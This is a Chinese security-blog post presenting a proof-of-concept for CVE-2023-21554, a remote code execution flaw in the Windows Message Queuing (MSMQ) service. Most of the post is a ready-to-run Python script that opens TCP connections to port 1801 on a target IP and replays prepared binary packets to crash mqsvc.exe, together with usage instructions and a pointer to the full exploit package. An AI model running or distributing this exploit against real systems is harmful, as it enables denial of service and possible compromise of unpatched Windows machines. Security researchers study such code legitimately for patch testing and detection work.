探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-21554:Windows Message Queuing 远程代码执行漏洞 POC

漏洞介绍

CVE-2023-21554 该漏洞存在于微软的Message Queue消息队列 (MSMQ) 服务中,由于该服务没有正确对数据包中的数据进行验证,攻击者利用该漏洞可以实现远程命令执行。

使用说明

POC文件执行前需要自行修改目标机器 IP 地址,POC成功的标志是 mqsvc.exe 进程的崩溃,并没有弹窗信息,需要在类似进程监控器的程序里看到。

CVE-2023-21554:Windows Message Queuing 远程代码执行漏洞 POC-威武网安

POC

# 代码中的循环是一开始用于测试的,没有实际用途
# 其他所需文件需要去项目地址下载完整包

import socket, time

base_path = ".\\data\\"
ip_address = "192.168.183.101" # 修改为测试IP
port = 1801 #端口默认不需要改

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip_address, port))

f = open(base_path + "establish_connection.bin", "rb")
ec = f.read()
f.close()

f = open(base_path + "connection_parameters.bin", "rb")
cp = f.read()
f.close()

f = open(base_path + "user_message.bin", "rb")
um = f.read()
data = bytearray(um)
f.close()

#f = open(base_path + "session_acknowledgment.bin", "rb")
#sa = f.read()
#f.close()

for i in range(0, 1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip_address, port))
    
    sock.sendall(ec)
    print("[+] Establish connection.")
    sock.recv(1024)
    print("[+] Receive data done.")

    sock.sendall(cp)
    print("[+] Connection parameters.")
    sock.recv(1024)
    print("[+] Receive data done.")

    #data[0x5e] = i
    #data[0x5f] = 0xff
    sock.sendall(data)
    print("[+] User message.")
    sock.recv(1024)
    print("[+] Receive data done.")

    #sock.sendall(sa)
    #print("[+] Session acknowledgment.")
    #sock.recv(1024)
    #print("[+] Receive data done.\n")

    sock.close()

    time.sleep(0.1)

项目地址

CVE-2023-21554-PoC

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-21554:Windows Message Queuing 远程代码执行漏洞 POC》
文章链接:https://www.wevul.com/954.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 2

  1. #2

    大佬666

    田田9个月前 (05-21)回复
  2. #1

    流弊啊

    ASD9个月前 (05-21)回复

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册